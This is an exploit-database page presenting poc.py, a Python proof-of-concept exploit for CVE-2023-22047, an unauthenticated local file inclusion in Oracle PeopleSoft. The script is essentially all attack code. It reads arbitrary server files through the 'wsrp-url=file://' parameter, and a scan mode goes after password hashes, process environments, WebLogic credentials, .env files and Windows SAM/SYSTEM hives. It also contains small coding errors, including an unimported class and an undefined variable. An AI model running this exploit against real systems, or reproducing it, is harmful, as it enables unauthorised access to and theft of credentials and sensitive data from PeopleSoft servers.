Exploit databaseDownload repository ZIP
GH-601363d14058da100b5e39ec9c4f6ca2
0xterror/cve-2023-22047-oracle-peoplesoft-lfi
Sources for CVE-2023-22047
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files4
0xterror/cve-2023-22047-oracle-peoplesoft-lfiRevision 3678c629f5ff
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc.py
Python · 19,400 bytes#!/usr/bin/env python3
"""
CVE-2023-22047 - PeopleSoft LFI to File Read
Unauthenticated Local File Inclusion in PeopleSoft Enterprise PeopleTools
Author: 0xterror
Usage: python cve-2023-22047.py -u https://target.com --check
"""
import requests
import argparse
import sys
import os
import json
import time
from datetime import datetime
from urllib.parse import urlparse
from concurrent.futures import ThreadPoolExecutor, as_completed
try:
from rich.console import Console
from rich.table import Table
from rich.progress import Progress, SpinnerColumn, BarColumn, TextColumn, TimeElapsedColumn
from rich.panel import Panel
from rich.layout import Layout
from rich.live import Live
from rich.columns import Columns
from rich import box
from rich.text import Text
from rich.style import Style
from rich.markdown import Markdown
from rich.prompt import Prompt, Confirm
from rich.status import Status
from rich.syntax import Syntax
from rich.tree import Tree
RICH_AVAILABLE = True
except ImportError:
RICH_AVAILABLE = False
print("[!] Rich library not installed. Run: pip install rich")
print("[!] Continuing with basic output...")
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
G = "\033[92m"
R = "\033[91m"
Y = "\033[93m"
C = "\033[96m"
W = "\033[97m"
RS = "\033[0m"
console = Console() if RICH_AVAILABLE else None
class PeopleSoftLFIExploit:
"""CVE-2023-22047 Exploit Class"""
def __init__(self, target, timeout=15, verbose=False):
self.target = target.rstrip('/')
self.timeout = timeout
self.verbose = verbose
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
self.results = []
self.is_vulnerable = False
self.os_type = None
def log_info(self, msg):
if console:
console.print(f"[cyan]├[/] {msg}")
else:
print(f"{C}[*]{RS} {msg}")
def log_success(self, msg):
if console:
console.print(f"[green]├[/] {msg}")
else:
print(f"{G}[+]{RS} {msg}")
def log_error(self, msg):
if console:
console.print(f"[red]├[/] {msg}")
else:
print(f"{R}[-]{RS} {msg}")
def log_warn(self, msg):
if console:
console.print(f"[yellow]├[/] {msg}")
else:
print(f"{Y}[!]{RS} {msg}")
def check_vulnerability(self):
"""Check if the target is vulnerable by testing /etc/passwd and win.ini"""
self.log_info("Checking vulnerability...")
# Test Linux
linux_result = self.exploit("/etc/passwd")
if linux_result.get("success"):
self.is_vulnerable = True
self.os_type = "Linux"
self.log_success("Target is VULNERABLE (Linux detected)")
return True
# Test Windows
windows_result = self.exploit("c:\\windows\\win.ini")
if windows_result.get("success"):
self.is_vulnerable = True
self.os_type = "Windows"
self.log_success("Target is VULNERABLE (Windows detected)")
return True
self.log_error("Target does not appear to be vulnerable")
return False
def exploit(self, file_path, output=None):
"""Exploit CVE-2023-22047 to read files via LFI."""
url = f"{self.target}/RP?wsrp-url=file://{file_path}"
if self.verbose:
self.log_info(f"URL: {url}")
try:
r = self.session.get(url, timeout=self.timeout)
if r.status_code == 200:
content = r.text
# Check if it's a file or a PeopleSoft page
if "PeopleSoft" in content or "Login" in content or "Oracle" in content:
return {"success": False, "error": "Access denied or file not found", "content": None}
else:
result = {
"success": True,
"content": content,
"file": file_path,
"size": len(content),
"status_code": r.status_code
}
if output:
with open(output, 'w') as f:
f.write(content)
result["saved_to"] = output
return result
else:
return {"success": False, "error": f"HTTP {r.status_code}", "content": None}
except requests.exceptions.Timeout:
return {"success": False, "error": "Connection timeout", "content": None}
except Exception as e:
return {"success": False, "error": str(e), "content": None}
def auto_detect_os(self):
"""Automatically detect the OS by testing common files"""
self.log_info("Detecting operating system...")
# Test Linux
result = self.exploit("/etc/os-release")
if result.get("success"):
self.os_type = "Linux"
content = result.get("content", "")
if "Ubuntu" in content:
self.log_success("Detected: Ubuntu Linux")
elif "Red Hat" in content or "CentOS" in content:
self.log_success("Detected: Red Hat/CentOS Linux")
elif "Debian" in content:
self.log_success("Detected: Debian Linux")
else:
self.log_success("Detected: Linux")
return "Linux"
# Test Windows
result = self.exploit("c:\\windows\\system32\\drivers\\etc\\hosts")
if result.get("success"):
self.os_type = "Windows"
self.log_success("Detected: Windows")
return "Windows"
# Fallback: try /etc/passwd
result = self.exploit("/etc/passwd")
if result.get("success"):
self.os_type = "Linux"
self.log_success("Detected: Linux")
return "Linux"
self.log_warn("Could not determine OS automatically")
return None
def get_system_info(self):
"""Get basic system information"""
self.log_info("Gathering system information...")
info = {}
# OS version
if self.os_type == "Linux":
result = self.exploit("/etc/os-release")
if result.get("success"):
content = result["content"]
for line in content.splitlines():
if "PRETTY_NAME" in line:
info["os_name"] = line.split("=")[-1].strip('"')
break
# Kernel version
result = self.exploit("/proc/version")
if result.get("success"):
info["kernel"] = result["content"][:200]
# Hostname
result = self.exploit("/etc/hostname")
if result.get("success"):
info["hostname"] = result["content"].strip()
elif self.os_type == "Windows":
result = self.exploit("c:\\windows\\system32\\drivers\\etc\\hosts")
if result.get("success"):
info["hostname"] = "Windows detected"
return info
def scan_common_files(self):
"""Scan for common sensitive files based on OS"""
linux_files = [
("/etc/passwd", "User accounts"),
("/etc/shadow", "Password hashes"),
("/etc/hosts", "Hosts file"),
("/etc/hostname", "Hostname"),
("/etc/redhat-release", "OS version"),
("/etc/os-release", "OS details"),
("/proc/self/environ", "Process environment"),
("/proc/self/cmdline", "Process command line"),
("/opt/peoplesoft/psft/pt8.51/weblogic/domain/boot.properties", "WebLogic credentials"),
("/opt/peoplesoft/psft/pt8.51/weblogic/domain/config.xml", "WebLogic config"),
("/var/www/html/config.php", "PHP config"),
("/var/www/html/.env", "Environment variables"),
]
windows_files = [
("c:\\windows\\win.ini", "Windows config"),
("c:\\windows\\system32\\drivers\\etc\\hosts", "Hosts file"),
("c:\\windows\\system32\\config\\RegBack\\SAM", "SAM file"),
("c:\\windows\\system32\\config\\RegBack\\SYSTEM", "SYSTEM file"),
("c:\\inetpub\\wwwroot\\web.config", "IIS config"),
("c:\\xampp\\htdocs\\wp-config.php", "WordPress config"),
("c:\\xampp\\htdocs\\.env", "Environment variables"),
]
files_to_try = linux_files if self.os_type == "Linux" else windows_files
results = []
if console:
with Progress(
SpinnerColumn(),
TextColumn("[progress.description]{task.description}"),
BarColumn(bar_width=40),
TaskProgressColumn(),
TimeElapsedColumn(),
console=console,
) as progress:
task = progress.add_task("[green]Scanning files...", total=len(files_to_try))
for file_path, description in files_to_try:
progress.update(task, description=f"[cyan]Reading: {file_path}")
result = self.exploit(file_path)
result["file"] = file_path
result["description"] = description
results.append(result)
progress.update(task, advance=1)
else:
for file_path, description in files_to_try:
self.log_info(f"Reading: {file_path}")
result = self.exploit(file_path)
result["file"] = file_path
result["description"] = description
results.append(result)
return results
def display_results(self, results):
"""Display results in a rich table."""
if not console:
for result in results:
if result.get("success"):
self.log_success(f"{result['file']} -> {result.get('saved_to', 'N/A')}")
if result.get('content'):
print(result['content'][:500] + ("..." if len(result['content']) > 500 else ""))
else:
self.log_error(f"{result['file']} -> {result.get('error', 'Unknown error')}")
return
table = Table(title="[bold cyan]CVE-2023-22047 Scan Results[/]", box=box.HEAVY, border_style="cyan")
table.add_column("#", style="dim", width=4)
table.add_column("File", style="yellow", width=40)
table.add_column("Description", style="white", width=20)
table.add_column("Status", style="green", width=10)
table.add_column("Size", style="blue", width=10)
successful = 0
for i, result in enumerate(results, 1):
status = "✅ FOUND" if result.get("success") else "❌ FAILED"
size = result.get("size", 0)
size_str = f"{size} bytes" if size > 0 else "N/A"
color = "green" if result.get("success") else "red"
table.add_row(
str(i),
result.get("file", "N/A")[:38],
result.get("description", "N/A")[:18],
f"[{color}]{status}[/]",
size_str
)
if result.get("success"):
successful += 1
console.print()
console.print(table)
console.print()
console.print(Panel(
f"[bold green]✅ Successful: {successful}[/]\n"
f"[bold red]❌ Failed: {total - successful}[/]\n"
f"[bold cyan]Total: {total}[/]",
title="[bold white]SUMMARY[/]",
border_style="cyan",
box=box.HEAVY
))
def print_banner(self):
"""Print beautiful banner."""
if console:
console.print()
console.print(Panel(
"[bold cyan]╔══════════════════════════════════════════════════════════════╗[/]\n"
"[bold cyan]║[/] [bold white]CVE-2023-22047 - PeopleSoft LFI Exploit[/] [bold cyan]║[/]\n"
"[bold cyan]║[/] [yellow]Unauthenticated File Read via wsrp-url[/] [bold cyan]║[/]\n"
"[bold cyan]║[/] [blue]Author: 0xterror[/] [bold cyan]║[/]\n"
"[bold cyan]╚══════════════════════════════════════════════════════════════╝[/]",
border_style="cyan",
box=box.DOUBLE
))
console.print()
else:
print(f"""
{G}╔══════════════════════════════════════════════════════════════╗{RS}
{G}║{RS} {W}CVE-2023-22047 - PeopleSoft LFI Exploit{RS} {G}║{RS}
{G}║{RS} {Y}Unauthenticated File Read via wsrp-url{RS} {G}║{RS}
{G}║{RS} {C}Author: 0xterror{RS} {G}║{RS}
{G}╚══════════════════════════════════════════════════════════════╝{RS}
""")
def main():
parser = argparse.ArgumentParser(
description="CVE-2023-22047 - PeopleSoft LFI Exploit",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., https://target.com)")
parser.add_argument("-f", "--file", help="File to read (e.g., /etc/passwd)")
parser.add_argument("-o", "--output", help="Output file to save content")
parser.add_argument("--scan", action="store_true", help="Scan for common files")
parser.add_argument("--check", action="store_true", help="Check vulnerability only")
parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
parser.add_argument("--timeout", type=int, default=15, help="Request timeout")
args = parser.parse_args()
# Create exploit instance
exploit = PeopleSoftLFIExploit(args.url, args.timeout, args.verbose)
# Print banner
if RICH_AVAILABLE:
exploit.print_banner()
else:
print_banner_simple()
# Display target info
if RICH_AVAILABLE:
console.print(Panel(
f"[yellow]Target:[/] [white]{args.url}[/]\n"
f"[yellow]Timeout:[/] [white]{args.timeout}s[/]",
title="[bold white]TARGET[/]",
border_style="cyan",
box=box.ROUNDED
))
else:
print(f"{Y}Target:{RS} {args.url}")
print(f"{Y}Timeout:{RS} {args.timeout}s")
print()
# Check vulnerability
if args.check:
exploit.check_vulnerability()
return
# Auto-detect OS and check vulnerability
if not exploit.check_vulnerability():
sys.exit(1)
# Get system info
info = exploit.get_system_info()
if RICH_AVAILABLE and info:
console.print(Panel(
f"[yellow]OS:[/] [white]{info.get('os_name', 'Unknown')}[/]\n"
f"[yellow]Hostname:[/] [white]{info.get('hostname', 'Unknown')}[/]",
title="[bold white]SYSTEM INFO[/]",
border_style="cyan",
box=box.ROUNDED
))
print()
if args.scan:
# Scan mode
results = exploit.scan_common_files()
exploit.display_results(results)
elif args.file:
# Single file mode
exploit.log_info(f"Reading: {args.file}")
result = exploit.exploit(args.file, args.output)
if RICH_AVAILABLE:
if result.get("success"):
console.print(Panel(
f"[green]✅ File read successfully![/]\n"
f"[yellow]File:[/] [white]{args.file}[/]\n"
f"[yellow]Size:[/] [white]{result.get('size', 0)} bytes[/]",
title="[bold green]SUCCESS[/]",
border_style="green",
box=box.ROUNDED
))
if args.output:
console.print(f"[green]✅ Saved to: {args.output}[/]")
else:
console.print()
console.print(Syntax(result['content'][:2000], "text", theme="monokai"))
else:
console.print(Panel(
f"[red]❌ Failed to read file[/]\n"
f"[yellow]Error:[/] [white]{result.get('error', 'Unknown error')}[/]",
title="[bold red]ERROR[/]",
border_style="red",
box=box.ROUNDED
))
else:
if result.get("success"):
print(f"{G}[+]{RS} File read successfully!")
if args.output:
print(f"{G}[+]{RS} Saved to: {args.output}")
else:
print(result['content'])
else:
print(f"{R}[-]{RS} Failed: {result.get('error', 'Unknown error')}")
else:
print(f"{R}[-]{RS} Please specify -f, --scan, or --check")
parser.print_help()
sys.exit(1)
def print_banner_simple():
print(f"""
{G}╔══════════════════════════════════════════════════════════════╗{RS}
{G}║{RS} {W}CVE-2023-22047 - PeopleSoft LFI Exploit{RS} {G}║{RS}
{G}║{RS} {Y}Unauthenticated File Read via wsrp-url{RS} {G}║{RS}
{G}║{RS} {C}Author: 0xterror{RS} {G}║{RS}
{G}╚══════════════════════════════════════════════════════════════╝{RS}
""")
if __name__ == "__main__":
if not RICH_AVAILABLE:
print("[!] For better UI, install rich: pip install rich")
main()